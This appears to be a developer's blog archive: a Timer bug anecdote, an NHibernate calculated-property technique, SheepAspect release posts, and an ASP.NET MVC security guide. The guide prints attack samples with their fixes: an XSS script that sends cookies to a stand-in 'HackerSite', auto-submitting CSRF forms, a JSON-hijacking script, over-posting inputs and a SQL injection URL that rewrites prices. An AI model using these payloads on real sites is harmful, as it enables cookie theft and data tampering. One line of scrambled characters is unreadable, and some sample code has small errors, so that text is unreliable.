My Daily WTF: Is Timer Broken?

I’ve been working with Task Parallel Library quite extensively lately, and one common thing I need to do is to schedule my tasks with some kind of timing intervals, and System.Threading.Timer is the exact tool for this.

Problem starts when my task randomly just go to a mysteriously halt. The problem with doing asynchronous stuff is the premise of asynchronous itself: when any of your tasks is in a wait state, it will drop its current thread back to the thread pool, and therefore you won’t find anything in the debugger when your tasks do come to a mysterious halt. There’s no facility in the Visual Studio debugger that allows you to possibly find the last call-stacks of your halting tasks.

I spent almost the whole day sprinkling a lot of Trace information all over the code, and I finally managed to narrow down to my little Delay() method that uses System.Threading.Timer. For some reason, my Timer would occassionaly fail to fire back.


new Timer(_=> Trace.WriteLine("fired back"), null, timespan, TimeSpan.FromMilliseconds(-1));

Most of the times, the timer fires back successfully, except in some rare occasions where apparently it never comes back at all. After pulling my hair in frustration until I had little left, I decided to make a desperate stab and change the code to this:


new Timer(_=> Trace.WriteLine("fired back")).Change(timespan, TimeSpan.FromMilliseconds(-1));

I wasn’t expecting anything magical to come out of this, but it did! It fixed the bug. My timer now reliably fires back 100% of the times! I can’t explain why, but I’ll definitely file a bug report to Microsoft and see if they can come up with any logical explanation. I can’t provide a reproduction test for this though, as this bug only happens when I plug a lot of moving parts to the system. Whenever I try to reduce the complexities (to isolate the issue), the bug disappears. It almost seems like a dirty secret that the universe doesn’t want you to see.

Anyway, that has been an utterly frustrating 10 hours, and I’m not sure whether it’s a relief or anger that I’m feeling right now, but at least this pile of coffee mugs will finally clear out.

NHibernate: Linq-ing Calculated Properties

Some properties are mapped onto database columns, while others are calculated. Here’s one simple example:

public class Parcel
{
   public PackagingType PackagingType {get; set;}
   public ParcelType ParcelType  {get; set; }
   public float Weight {get; set;}
   public decimal Fee
   {
      get {return (Weight - PackagingType.TareWeight) * ParcelType.FeePerWeight;
   }
}

“Fee” is a calculated property. You cannot use this property as a part of your Linq query. For instance, if you want to query Parcels with Fees above certain values:

var expensiveParcels = from parcel in Session.Query<Parcel> where parcel.Fee > 1000 select parcel;

Obviously that wouldn’t work because NHibernate does not recognize this “Fee” property.

There are 3 (conventional) ways to resolve this, you can choose either one of these:

  1. Change all your queries to avoid “Fee” property, and repeat the calculation logic (every time) instead.
    var expensiveParcels = from parcel in Session.Query<Parcel>
          where (parcel.Weight - parcel.PackagingType.TareWeight) * parcel.ParcelType.FeePerWeight > 1000
          select parcel;
    
  2. A slightly better way is to map “Fee” property with SQL Formula. It’s better because you do not have to repeat Fee calculation on every Linq query. E.g., in FluentNHibernate:
    Map(x=> x.Fee).Access.Readonly().Formula( // Raw SQL ->
        @"((select Weight - (select TareWeight from PackagingType p where  p.Id = PackagingId))
              * (select FeePerWeight from ParcelType pt where pt.Id = ParcelTypeId))");
    );
    
  3. Alternatively, you could also write an ILinqToHqlGenerator implementation.
    Since version 3.0, NHibernate has been utilizing ReLinq for its Linq-provider, which greatly improves its extensibility. It allows you to register your own ILinqToHqlGenerator, where you basically take a specific Linq expression and return whatever HqlTree expression you desire. For instance, in this example, we build our Hql expression like so:

    public class ParcelFeeLinqGenerator: BaseHqlGeneratorForProperty
    {
       public override HqlTreeNode BuildHql(MemberInfo member, Expression expression, HqlTreeBuilder treeBuilder, IHqlExpressionVisitor visitor)
       {
          var parcel = visitor.Visit(expression).AsExpression();
          return treeBuilder.Multiply(
              treeBuilder.Subtract(
                 treeBuilder.Dot(parcel, treeBuilder.Ident("Weight")),
                 treeBuilder.Dot(treeBuilder.Dot(parcel, treeBuilder.Ident("PackagingType")), treeBuilder.Ident("TareWeight"))
              ),
              treeBuilder.Dot(treeBuilder.Dot(parcel, treeBuilder.Ident("ParcelType")), treeBuilder.Ident("FeePerWeight"))
          );
       }
    }
    

    And you register this generator into NHibernate runtime to handle our Fee property:

    registry.RegisterGenerator(ReflectionHelper.GetProperty<Parcel, decimal>(x=> x.Fee), new ParcelFeeLinqGenerator());
    

All those 3 approaches do the job just fine, but whichever one you pick you’ll still end up duplicating your Fee calculation logic one way or another. You’ll either be repeating your logic in C# expressions (option#1), in SQL expression (option #2), or in HQL expression (option #3). That seems to violate DRY. It’s easy to forget to change your querying logic whenever your pricing rule changes (e.g. tax).

Better Way?

The ideal solution is to eliminate logic duplication. We want to be able to write the calculation logic only once to be shared both by the property as well as by Linq queries. I’ll be using approach#3 while employing a pattern to avoid duplicating our logic.

First step, I create this generic ILinqToHqlGenerator plumbing that I can reuse for all calculated properties in my projects.

public class CalculatedPropertyGenerator<T, TResult> : BaseHqlGeneratorForProperty
{
   public static void Register(ILinqToHqlGeneratorsRegistry registry, Expression<Func<T, TResult>> property, Expression<Func<T, TResult>> calculationExp)
   {
      registry.RegisterGenerator(ReflectionHelper.GetProperty(property), new CalculatedPropertyGenerator<T, TResult>{_calculationExp = calculationExp});
   }
   private CalculatedPropertyGenerator(){} // Private constructor

   private readonly Expression<Func<T, TResult>> _calculationExp;
   public override HqlTreeNode BuildHql(MemberInfo member, Expression expression, HqlTreeBuilder treeBuilder, IHqlExpressionVisitor visitor)
   {
      return visitor.Visit(_calculationExp);
   }
}

Once we got that plumbing class in place, we’ll then modify my parcel class slightly to look like the following:

public class Parcel
{
   public PackagingType PackagingType {get; set;}
   public ParcelType ParcelType  {get; set; }
   public float Weight {get; set;}

   /// <summary>
   /// To be reused for (NHibernate) Linq generator
   /// </summary>
   public static readonly Expression<Func<Parcel, decimal>> CalculateFeeExpression = x =>
          (x.Weight - x.PackagingType.TareWeight) / x.ParcelType.FeePerWeight;

   private static readonly Func<Parcel, decimal> CalculateFee = CalculateFeeExpression.Compile();
   public decimal Fee
   {
      get {return CalculateFee(this);
   }
}

Now you register this FeeCalculationExpression to NHibernate registry so that NHibernate can now translate Fee property using the same fee-calculation expression used by the Parcel class itself.

CalculatedPropertyGenerator<Parcel, double>.Register(registry, x=> x.Fee, Parcel.CalculateFeeExpression);

Now this Linq query works. NHibernate knows how to handle Fee property in the query.

var expensiveParcels = from parcel in Session.Query<Parcel> where parcel.Fee > 1000 select parcel;

We are reusing the same business-rule for calculating Fee property as well as to generate our NHibernate queries. There’s no duplication, and it requires very little setup as well (once you get the CalculatedPropertyGenerator plumbing class in place). This so far has been my favorite approach to map calculated-properties to NHibernate.

Web Development Security Patterns

As a good web developer, and a responsible one, there are certain patterns we must all follow to avoid exposing our application to common security and usability problems and the general shooting yourself in the foot. I’m documenting some of these basic dos and don’ts into this post. And while the examples given are specific to ASP.NET MVC, almost all of the guidelines (risks, vulnerability, and solutions) are applicable to web development in general.

The first step in securing a website is to know how to attack it. So this post will cover some how-to guides to perform some of the most common methods to hack a website, and ultimately how to prevent them. No, don’t feel obliged to rush and practice it against your local council’s websites, but even if you do, here I am disclaiming my involvement in any unlawful conducts 😉

1. Encode your texts

Risk:

XSS vulnerability

How:

Your dear hacker would visit your website, and post this comment on your wall or guestbook.

This is a dodgy message. <script>
   document.write(
      '<img src=http://HackerSite/StealCookie?input='
      + escape(document.cookie)
      + '/>');
</script>

If your website does not encode this text, the script will appear on your homepage, and steal all your users’ cookies, send all those data secretly to the the bad guy, and move out of the scene quietly.

Solution:

Always encode your texts, especially those that may be input/modified by your users. Before razor, in ASP.Net 4.0, you simply had to use

<%:Model.Message%>

.. instead of:

<%=Model.Message%>

Since razor, it will always encode your text.

@Model.Message

.. so you’ll rarely need to worry about any of these any more, except when you’re writing Html helpers: do remember HTML encoding.

2. Deny GET access to non-idempotent actions

When I say non-idempotent actions, I mean actions that may cause some side-effects to the system. E.g. update my profile, post a wall comment, resend-password, kill a kitten, etc. Anyhow, this is bad:

<a href="/AddToCart?ProductId=4423">Add to Cart</a>

Risk:

Cross-Site-Request-Forgery (XSRF) vulnerability.

How:

To launch an XSRF attack on your website, our megalomaniac hacker would write an HTML page that contains the following element to vandalize your shopping-cart:

<img src="http://yourwebsite/AddToCart?product=4423"/>

He would then publish that little HTML script on his own website/blog-post, or just simply send the script as part of an email to every internet user under the sun.

When unsuspecting users of yourwebsite open this email (or visit his dodgy website) on their browsers, the img tags will secretly make a call to yourwebsite (e.g. vandalise your shopping-cart, post fake wall messages, buy a giraffe, or other evil things megalomaniacs usually do) on behalf of the current users without their consents.

And yes, Facebook, till this very date in my knowledge, is still vulnerable to this attack on some of their pages. Some nasty websites have exploited this vulnerability to post public messages to your Facebook walls/friends on your behalf.

Solution:

By requiring POST access (and rejecting GET) on your non-idempotent actions, you will stop <img> or <script> tags to launch XSRF attack against them. In ASP.NET MVC, this is done by decorating your actions with [HttpPost] attribute.

[HttpPost]
public ActionResult AddToCart(Product product)
{
}

And change your “Add to Cart” hyperlink to a POST form submit button:

<form method="POST" action="/AddToCart">
   <hidden name="product" value="4423" />
   <input type="submit" value="Add to Cart" />
</form>

I know some web designers prefer to have certain functionalities to look like hyperlinks, rather than submit-button, for certain aesthetic/usability reasons. In such case, you should still use submit buttons, and apply some CSS to make them look like hyperlinks. Do not use actual hyperlinks.

I also know that UI designers hate submit-buttons because they are very hard to style and look consistent in all browsers. If you really MUST use hyperlinks, hook it with a Javascript (at the cost of accessibility) to make it submit an AJAX POST. All access through the GET gate must be denied.

3. Always validate anti-forgery token on every POST

Risk:

Merely blocking GET access to your non-idempotent actions is not enough to stop XSRF attack.

How:

To penetrate an HttpPost-restricted actions, our megalomaniac hacker would simply make a form on his own dodgy website, and make it submit to yourwebsite.

<form id="evilForm" method="POST" action="http://yourwebsite/Purchase">
   <input type="Hidden" name="ProductCode" value="BabyPanda" />
   <input type="Hidden" name="Quantity" value="1000000" />
   <input type="Submit value="Free Coke is Here!"/>
</form>

Who could resist a button that says “Free Coke”? What’s so evil about that button is: not only does it submit an order for a million baby pandas from yourwebsite.com, courtesy of your unsuspecting users, it does not even give out any free coke either!

So we’ll be safe as long as we don’t click any button on some malicious website right? Well not quite. Your hacker can save you the trouble and click the button for you:

<script type="text/javascript">
   $("form").submit();
</script>

So just by opening his evil page on your browser, BAAM! You purchase a million baby pandas.

Solution:

Always validate anti-forgery token on all your POST actions. In ASP.Net MVC, you just add a [ValidateAntiForgeryToken] attribute.

[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult PostToWall(string message)
{
}

Now your action is requiring __RequestVerificationToken to be passed in the post, and the value must match the one stored in a client cookie called “__RequestVerificationToken_Lw__”. (This token is initially generated by your application). So any arbitrary form submission without this token (or with an incorrect token) will be denied.

The existing form we wrote earlier (above) will now fail to submit. (Anti-Forgery Token Validation Exception). To pass this validation, you need to modify the form to include a “__RequestVerificationToken” hidden input that will hold the security token.

@using(Html.BeginForm("Purchase"))
{
   @Html.AntiForgeryToken() // this will render a hidden __RequestVerificationToken
   // the rest of your form
}

Since your hacker does not have access to your cookie (unless if you’re exploited by an XSS attack), he won’t be able to work out the token of the current user, and is therefore unable to make a POST that’s accepted by our validation. This anti-forgery protection is rendered ineffective if your website has any XSS vulnerability.

So why do we need our previous rule#2: “avoid GET”? Forging a POST is just as easy as forging a GET anyway, so now that we got this anti-forgery-token, why must I use POST?
Oh no, do NOT use anti-forgery-token with GET (i.e. via querystring, as I frequently see), because it’s easily leaked. E.g. if yourwebsite has links to other sites, they can use HTTP_REFERRER headers to read your users’ querystring (hence their tokens). So all your hacker needs to do is to leave spam messages (with his URL) on your wall/guestbook, and provoke the curious minds of your users to click it, and SMACK! Curiousity just killed the cat.

Even if you have no bogus links on yourwebsite (e.g. you don’t accept external URLs, or you have a seriously awesome spam filter) thus protecting your HTTP_REFERRER from malicious sites, a determined hacker can still just interogate your entire browsing history (using a JS+CSS trick), and if he gets lucky, that would be the end of your oh-so-important token.
So there, keep rule#2 and use POST!

4. Protect your JSON data

We’ve covered before that non-idempotent actions needs to be restricted to POST. So what about an idempotent GET actions that simply return (possibly sensitive) JSON data?

Risk:

JSON Hijacking

How:

AJAX requests are generally considered safe because browsers only allow AJAX requests (i.e. XmlHttpRequest aka XHR) to your own domain. Put simply, cross-site AJAX is not allowed, eliminating the risk of cross-site forgery via AJAX.

A hacker can still make a cross-domain access to your GET services using <img> or <script> tag. E.g.:

<img src="http://yourwebsite/InboxMessages" />

… but that’s fine, no harm there. As covered in point#2 above, we only allow GET on idempotent services (such as retrieving InboxMessages), not on unsafe services (such as sending messages). So the script above can’t possibly do any harm on the server. As for the JSON data itself, a hacker can’t read anything using <img> or <script> (he would need XHR or an IFrame inspection, both of which are not allowed to cross domains), so we’re all safe.

Unfortunately, using a clever trick, a hacker can actually read your JSON data. It’s achieved by rewriting the Array definition in Javascript.

<script type="text/javascript">
  // Overload the Array constructor so we can intercept data
  var realArray = Array;
  Array = function () {
     var arr = realArray.apply(arguments);
     stealData(arr);
     return arr;
  }
</script>

<script src="http://yourwebsite/InboxMessages" />

First, he overloads (read: hijacks) the Array constructor of the Javascript. From that point on, it’s fairly straightforward. He just simply hits your InboxMessage service using a <script> tag, and every Array that’s returned within your JSON will be chanelled through to his fake Array constructor that steals your data.

GMail was vulnerable to this attack until a couple years ago. Many of its users data (emails & contacts) were stolen using this very technique, before Google eventually fixed the hole.

Solution:

There are two options you can pick to protect against JSON hijacking.

  1. Do not allow GET access in the first place. Limit your JSON service only to POST requests (like what we did on point#2), even for idempotent services. By default, the Json() method in ASP.NET MVC does just that (it throws an exception on GET requests) for this exact security reason. But forcing POST to retrieve (JSON) data violates proper Http semantics, and might not even be an option if you are writing RESTful services. A better way to solve this is by restricting your JSON services to only allow AJAX calls (option #2).
  2. In ASP.Net MVC, you simply add [AjaxOnly] attribute from MVCFutures (which simply checks Request.IsAjax==true; something that you can write yourself very easily if you’re not using MVCFutures library).
    [HttpGet]
    [AjaxOnly]
    public ActionResult InboxMessages()
    {
    }
    

    Now your actions only accept AJAX requests. And since you can’t make a cross-site AJAX request, your actions are now safe from cross-site attacks.

5. Securing AJAX POSTs Against Forgery

We know from point#3 above that we should always validate our form submission against anti-forgery token. That’s fine. But what about AJAX calls, such as the following:

$.post("http://yourwebsite/ReplyMessage",
   { repliedMsgId: 123, replyMsg: "Roger that!"});

How do you secure this AJAX call?

Risk:

XSRF attack (look point#3)

How:

(Look point#3)

Solution:

Similar to point#3, you could change the way you make AJAX calls in your javascript by always adding an anti-forgery-token (retrieved from the user’s cookie) into the payload. But it’s not really necessary. There’s no change necessary in your javascript. You just simply to protect your server-side actions with [AjaxOnly] attribute (similar to point#4).

[HttpPost]
[AjaxOnly]
public ActionResult InboxMessages()
{
}

Since cross-site AJAX calls are not allowed by browsers, your action is safe against cross-site attacks, without the need to validate anti-forgery tokens.

In cases where you reuse the same action for both Ajax and non-Ajax POSTs, then you will need to resort back to the usual anti-forgery-tokens validations (and you’ll need to change your Ajax call to also include this token as part of the payload).

6. POST-Redirect-GET (PRG)

It’s a bad practice for a successful POST request to return a content page. For example, upon submitting a Purchase form, the server returns back a successful page (without redirection).

Risk:

Accidental double POSTs

How:

When you return a page from a POST request (without redirection):

  1. Your users might accidentally make a repeated POST when they use back/forward navigation or refresh button on their browsers. They are practically unable to come back to the page they last saw (e.g. their order confirmation) without making another POST to the server (i.e. submitting another purchase).
  2. It may break browser bookmark feature. E.g. if your “Reply Message” returns back to Inbox page (without redirection), and the user bookmarks the page, he will be wrongly bookmarking a wrong URL (/Reply) instead of the actual /Inbox URL.

Solution:

As a general acceptable rule, your POST should always return a redirection unless the POST has been unsuccessful (i.e. no impact has been made on the server). For instance, upon a successful Purchase POST, instead of returning a confirmation page, the POST should rather redirect the browser to /PurchaseConfirmation?OrderNumber=1234 (which in turn displays the order confirmation page).

If the POST has been unsuccessful (and all changes have been rolled-back), the general acceptable rule is for the POST to return the same page, without any redirection. This way, the user can retry submitting the form by refreshing the page, without having to navigate back.

So if you combine this with rule#2, you’ll get this rule:

  • GET should only return contents. It should not make any server-side effect. (I.e. idempotent requests, aka “queries”)
  • POST should only make server-side effects, and it should not return contents (i.e. non-idempotent requests, aka “commands”). It also means that if no server-side effect was made (e.g. failures), it may return contents.

Basically, Command-Query-Separation (CQS). The advantages of following this pattern are:

  1. It avoids confussion and frustration, as the users will be able to use their next/back navigation or refresh-button without accidentally causing double-posts nor being prompted by their browsers about it. It has become one of those Internet norms, and your typical users will be expecting this behavior from your website, so you might as well embrace it.
    Furthermore, when you use GET (including the results of POST-redirection), the browser will cache the page so that when the user navigates back/forward he will be able to view his last-viewed pages, instead of having to refetch the page from the server (which might have changed or expired). If you use POST to return a page without redirection, the user will be forced to make another POST (which will cause him to buy another product) when he tries to see the confirmation message of his last order.
  2. Redirection ensures that the user will be able to bookmark the page without mistakenly taking a wrong URL.

7. Always use controller-specific ViewModel for ModelBinding

public class Customer
{
   public string FirstName {get; set;}
   public string LastName {get; set;}
   public int CreditRating {get; set;}

   /* other properties/methods */
}

A customer can’t change his own credit-rating from his profile page, which is, by the way, the following:

@using(Html.BeginForm("EditMyProfile")
{
   <div>
      @Html.LabelFor(x=> x.FirstName)
      @Html.EditorFor(x=> x.FirstName)
   </div>
   <div>
      @Html.LabelFor(x=> x.LastName)
      @Html.EditorFor(x=> x.LastName)
   </div>

   <input type="Submit" value="Save" />
}

And here’s the controller action that handles the form.

[HttpPost]
public ActionResult EditMyProfile()
{
   Customer customer = //get my customer
   TryUpdateModel(customer);

   // Save the customer
}

.. or if you have full-fledged model-binding infrastructure in place:

[HttpPost]
public ActionResult EditMyProfile(Customer customer)
{
   // save the customer
}

Risk:

Over-Posting Attack

How:

Over-posting vulnerabilities are often very easy to miss. particularly among ASP.NET MVC developers. To launch over-posting attacks, your attacker would just use Firebug or WebDeveloper to edit the HTML form and add the following textbox:

<input name="CreditRating" value="100" />

Thanks to ASP.NET MVC ModelBinder, he can now edit his CreditRating to 100 or whatever he wants. And in fact, especially if you use ORM that supports automatic change-tracking, he can even make other far-reaching changes on other objects by navigating through your object structure. E.g., still on EditMyProfile page:

<input name="Region.Administrator.Password" value="hackedPassword" />
<input name="ShoppingCart.Items[0].Price" value="0.01" />

Starting from a Customer object, he can jump through other objects and change your region’s administrator password, or change the prices of your products. Automatic change-tracking of your ORM will make sure that these changes will get saved!

Solution:

Do NOT use ASP.Net MVC’s ModelBinder against your actual domain objects, particularly those that are tracked by your ORM. ASP.Net ModelBinder should ONLY be coupled with ViewModels, and your ViewModel must expose only the properties that you’re allowing your users to input on that particular page.

[HttpPost]
public ActionResult EditMyProfile(EditMyProfileViewModel vm)
{
   // map the view-model values to the customer object
   // save the customer
}

Alternatively you can extract an interface of your domain-model, and only bind your controller action against this interface.

public class Customer: IMyProfileUpdatable, IAdminUpdatable
{
   public interface IMyProfileUpdatable
   {
      string FirstName {get; set;}
      string LastName {get; set;}
   }
   public interface IAdminUpdatable: IMyProfileUpdatable
   {
      int CreditRating {get; set;
   }

   // The rest of your normal Customer class
}

And the controller actions:

[HttpPost]
public ActionResult EditMyProfile()
{
   Customer customer = //get my customer
   TryUpdateModel<Customer.IMyProfileUpdatable>(customer); // Bind against the interface

   // Save the customer
}

[RequirePermission(Permissions.AdministerCustomer)]
public ActionResult EditCustomer()
{
   Customer customer = //get customer
   TryUpdateModel<Customer.IAdminUpdatable>(customer); // Bind against the interface

   // Save the customer
}

.. or if proper model-binding infrastructure in place:

[HttpPost]
public ActionResult EditMyProfile(Customer.IMyProfileUpdatable customer)
{
   // save the customer
}

[RequirePermission(Permissions.AdministerCustomer)]
public ActionResult EditCustomer(Customer.IAdminUpdatable customer)
{
   // Save the customer
}

By limiting your ModelBinding to a specific interface, you’re limitting to specific parts of your object that your users can reach. In most projects, I enforce this rule by making my ModelBinder to NOT bind any properties of my domain entities (by default), unless I explicitly mark my binding with a special attribute (e.g. [EditEntity]).

8. Don’t trust hidden-fields

This is a reminder why this is a bad (Razor) view:

@model Sheep.UserProfile
@using(Html.BeginForm("UpdateMyProfile"))
{
   @Html.Hidden(x=> x.User.Id);
   @Html.EditorFor(x=> x.User.FirstName);
   @Html.EditorFor(x=> x.User.LastName);
}

We use hidden field (or query-string) to pass the User.Id to our controller Action, which is usually to leverage custom model-binding infrastructure that automatically loads entities (e.g. User) by the Id being passed, then binds the rest of the properties.

Risk:

Prone to user manipulation

How:

By using Firebug to change the hidden User.Id field to some other UserId, a hacker can perform “update my profile” on behalf of ANY user he wishes. Your “update my profile” page is more like an “update ANY profile” page really.

Solution:

Yap, get rid of the UserId field from the client side (form field, cookie, or query-string). On the server side, you should always reinterogate again the identity of the current user (e.g. using ASP.NET membership), instead of relying on user input. It seems a very obvious advice, but you’ll be surprised how often I’ve seen this mistake.

9. HTTPS

I can’t stress this enough. NEVER ever submit a secure information via HTTP. Especially on a public network. NEVER.

Unfortunately, many websites (such as Facebook) default their login-pages to its HTTP version, and users need to explicitly change to HTTPS yourself if they choose so.

HTTP is very bad, worse than you might think. It’s very easy to snoop packet traffic in networks, especially wireless networks, and without HTTPS, your information (e.g. password, credit-card number, etc) are sent (in clear-text) to practically ALL machines participating in the network. All they need to do is to actually read the message (e.g. using Wireshark) whenever they feel like ‘stealing’ your password, although I’m not sure you can even call it “stealing” since it’s YOU who literally broadcasts your password right to their front door.

So yes web-developers around the world, always equip all your sensitive forms with SSL. Probably don’t even make HTTP access on those forms possible at all, unless you have a very good reason to, and even so at least do NOT default it to HTTP.

10. SQL Injection

Yes it sounds like a thing from a long past. Our modern ways of doing data-access tend to protect us against SQL injections. We’ve all learnt that we should always parameterize your SQL values (using prepared-statements or Linq) as opposed to inlining them in the string. SQL Injection attack is a dying breed.

However this vulnerability still reappears from time to time, such as the following example, which is still regularly seen even in today’s world. Consider this URL on your product search page:

http://yourwebsite/products?minPrice=300&sortBy=ProductDescription

And here’s our controller action. Being a good developer, we use a prepared-statement to parameterize all our SQL values (e.g. minPrice).

[HttpGet]
public ActionResult Product(int minPrice, string sortBy)
{
   var products = Query<Product>(
      "select * from Products where Price >= @minPrice order by " + sortBy,
      new {minPrice = minPrice});

   return View(products);
}

That was a common example of a SQL-Injection hole.

Risk:

SQL Injection attack

How:

Our hacker can make the following request on his browser:

http://yourwebsite/products?minPrice=300&sortBy=ProductDescription;UPDATE%20Products%20SET%20Price=0.01

When that gets executed, it will change the pricing of your products in a way that makes your customers immensely happy, and your boss immensely sad.

I was using SQL in that example, but the same attack method can be used against ORMs, for instance if you use NHibernate’s HQL, you’re not immune against HQL Injections.

Solution:

Make sure you validate your input.

[HttpGet]
public ActionResult Product(int minPrice, string sortBy)
{
   ValidateColumn(sortBy);
   var products = Query<Product>(
      "select * from Products where Price >= @minPrice order by " + sortBy,
      new {minPrice = minPrice});

   return View(products);
}

The better way is perhaps to avoid string concatenation altogether, and use Linq or other query API instead (such as Criteria and QueryOver in NHibernate), though it’s not always possible.

[HttpGet]
public ActionResult Product(int minPrice, string sortBy)
{
   var products = Query<Product>()
         .Where(x=> Price >= minPrice)
         .OrderBy(ToMemberExpression(sortBy));
   return View(products);
}

private static Expression<Func<T, object>> ToMemberExpression<T>(string propertyName)
{
   var parameterExpression = Expression.Parameter(typeof (T), "x");
   var expression = (Expression) parameterExpression;
   var str = propertyName;
   var chArray = new char[]{'.'};

   foreach (var propertyName1 in str.Split(chArray))
      expression = (Expression) Expression.Property(expression, propertyName1);

   return Expression.Lambda<Func<T, object>>((Expression) Expression.Convert(
       expression, typeof (object)), new ParameterExpression[] { parameterExpression });
}

oaae~ ve{| ozzohmk| og ette|z{gfzvze tet{aozk iejka t|etk|zfkx ve{ jfjg‖z kskg t{z eg ve{| fgt{z ce|ix’

SheepAspect Preview 2!

I’m very excited to announce the second preview release of SheepAspect. It’s available now, and you can install it to your project from NuGet gallery.

There are few new features introduced on this release, such as changes around its API, introducing more simplicity, bug fixes, and improved implementations. But there are few things that I’d like to highlight what’s new in this release.

NuGet Package

Previously, installing SheepAspect has always been a bit of a mess. You had to reference few libraries into your project, copy some compiler.exe into a folder, modify your csproj manually to include the compiler into your build-task, and pray all the stars are lined up in a perfect angle.

Now in Preview-2, NuGet will do all the mundane heavy-lifting for you. The only step you need to do now is to NuGet SheepAspect straight to your main project, and that’s it. Everything will be configured for you, and you’ll be all set to go before you finish reading this sentence.

When you NuGet SheepAspect into your project, there are 4 things that happen:

  1. It downloads all binaries and compiler into your project, and attach the necessary runtime libraries into your project references.
  2. It modifies your .csproj/.vbproj file to hook SheepAspect compiler into your post-build task.
  3. Generates a default configuration file (SheepAspect.config) and add to your project. This file has been pre-configured to just work immediately, which you can then use as a starting point to configure your SheepAspect settings. (More about this below).
  4. You’ll also be given one sample aspect class (/Aspects/SampleAspect.cs), and all it does is trace-logging around all public methods within your current project. (Entry, exit, exceptions).

The included sample-aspect is readily active and all fully functioning out-of-the-box, so that as soon as you nuget SheepAspect into your project and hit run immediately, you’ll watch all your public methods are now writing log traces to your debug window. From here, you can use this sample ‘SampleAspect.cs’ as a template to get started to write your very own first aspects.

SheepAspect.config

Another new feature introduced in Preview-2 is an easier configurability. So instead of tinkering with your .csproj/.vbproj msbuild tasks to configure SheepAspect compilation settings, you can now do so in SheepAspect.config. When you install SheepAspect, you’ll get a default config:

<?xml version="1.0" encoding="utf-8" ?>
<sheepaspect-config xmlns="urn:sheepaspect-config-1.0">
  <aspects>
    <assemblies>
      <include>YourProject.exe</include>
    </assemblies>
  </aspects>
  <weave>
    <assemblies>
      <include>YourProject.exe</include>
    </assemblies>
  </weave>
</sheepaspect-config>

It’s pretty straightforward. The xsd file is included so you can use Visual Studio intellisense to view all the different settings, although it’s all pretty basic at this point.

Build Report

SheepAspect compiler task spawns a separate (console) process to get around Visual Studio annoying tendency to lock dll files that you access during the task. That’s why in Preview-1 you could briefly see a console window popping up during compilation process. When an error occurs during the compilation, you’ll need to read the report printed on the console window.

The new SheepAspect is still using the same technique, but it’s more refined and well hidden. You won’t see any window popping up, and your compilation results will be reported nicely on your Visual Studio.

SheepAspect Query Analyzer

I have announced SAQA before, but this is the first time it has ever been released. SAQA’s releases will roughly follows the release cycle of SheepAspect, but it’s distributed as a separate download. You can download SAQA for SheepAspect Prevew-2 here on the project website.

Factory Per Aspect

Aspect factory determines how your aspect classes are instantiated during runtime. In the previous version, aspect factory was defined globally.

AspectFactory.Current = new StructureMapAspectFactory(structureMapContainer);

But there are times when you need to use a specific factory for your particular aspect. For example to instantiate your aspect from attribute declaration, or to instantiate from web-request (model-binding) or client cookie. New in Preview-2, now you can define your factory on a per-aspect basis.

[Aspect]
[AspectFactory(typeof(AttributiveAspectFactory))]
public class MyAspect
{
}

If no particular factory specified for your aspect, SheepAspect will resort to a global default factory.

AspectRuntime.Provider.DefaultFactory = new StructureMapAspectFactory(structureMapContainer);

That’s right, you’ve just seen AspectRuntime there. It’s a new addition in SheepAspect Preview-2 that gives you access to the runtime environment of your aspects. You can, for example, switch off all your aspects (or a specific aspect) for unit-testing purpose, or even to replace your aspect with a mock. You can inquire the lifecycle of your specific aspect, or even change them (e.g. from Singleton to PerThis). You can ask for the instance of a specific aspect for a particular jointpoint, and so on. It gives you a flexible and dynamic control upon your aspect-orientated runtime behaviors that can’t be scripted during compile-time alone.

SheepAspect

This is also the first release since the project changed its name from SheepAop. So if you’re using Preview-1, the upgrade path to Preview-2 will be a breaking and rocky one. But I’m very excited about this release, I’d strongly urge to to upgrade if you’re already on Preview-1, or to start trying out and play around with SheepAspect if you haven’t. So go on, it’s only a NuGet away 😉

These preview releases have always been about giving people an early access to gather as much feedback as I can. So any comments/issues/suggestions, as always, would be greatly appreciated 🙂

[More about SheepAspect]

SheepAspect Query Analyzer

SheepAspect-Query-Analyzer (aka SAQA, not to be confused with Sucka’) is a simple tool I built to let you quickly punch in your SAQL pointcuts, and execute them immediately against your assembly files to get instant results.

The GUI is quite plain and basic, but it does the job.

This tool will hopefully come in handy for developers to get into SAQL pointcuts and syntax. You just simply punch in your pointcut attributes on the text editor as you normally would on C#. E.g.

[SelectMethods(“Name:’Get*’ & Public”)]

You will then get instant feedbacks from this pointcut by executing it against your assemblies, which will bring back all the jointpoints it picks up (i.e.: all public methods with names starting with ‘Get’). Since it takes standard syntax of C# attributes, once you’re happy with the result, you can just copy this line straight onto your C# class.

You can type in as many pointcuts as you wish on the text-editor. You can also define aliases using ‘=’. E.g.:

[SelectMethods(“Name:’Get*’ & Public & InType:@NhConfigTypes”)]
NhConfigTypes = [SelectTypes(“Namespace: ‘NHibernate.Cfg*’”)]

Those pointcuts are equivalent to the following code on the actual C# class:

[Aspect]
public class MyAspect
{
   [SelectMethods("Name:'Get*' & Public & InType:@NhConfigTypes")]
   public void Pointcut1() {}

   [SelectTypes("Namespace:'NHibernate.Cfg*'")]
   public void NhConfigTypes(){}
}

SAQA is available for download from the latest SheepAspect trunk. SAQA will also be included as part of the next SheepAspect release.

What’s next?

  • Keyboard shortcuts
  • Ability to save the progress of your SAQA workspace
  • Ability to view and open the source-code of your joint-points in Visual Studio
  • SAQA will be able to read from SheepAspect configuration file (that will be introduced, hopefully, in the next SheepAspect major release)
  • I have NO plan to deliver any intellisense functionality, but feel free to send me a patch

SheepAop Is Now SheepAspect.org

I admit I didn’t spare much thought into the name when I started the project. I just simply followed the infamous Luk’s rule of project naming: “append the word ‘Sheep’ with something boringly obvious about the project”. Hence SheepAOP. It was just a random codename I picked for a project that was intended at that time as my own personal proof-of-concept on one rainy weekend. And I went slightly overboard with it without bothering myself to change to a friendlier name, and the name “SheepAop” managed to see the light of day.

It’s not a friendly name, and quite a mouthful to say, thanks to the double vowels in the acronym “AOP”. I’ve lately started develeoping an involuntary cringing habit on the sound of “SheepAOP” produced by my mouth every time I talk to people. And I hate cringing. Something has to be done about it. Changing my habit is a bit complicated, so instead I renamed the project.

So it’s official, the project is now called SheepAspect. It has found a lovely home at SheepAspect.org, and the source-code has been refactored to embrace the new name (which is obviously a breaking change). The old url (sheepaop.codeplex.com) still works fine and simply redirects you to the new address. So once again, say hi to SheepAspect, please help it feel comfortable with its new name.

SheepAop Part 5: Aspects Inheritance And Polymorphism

This Series

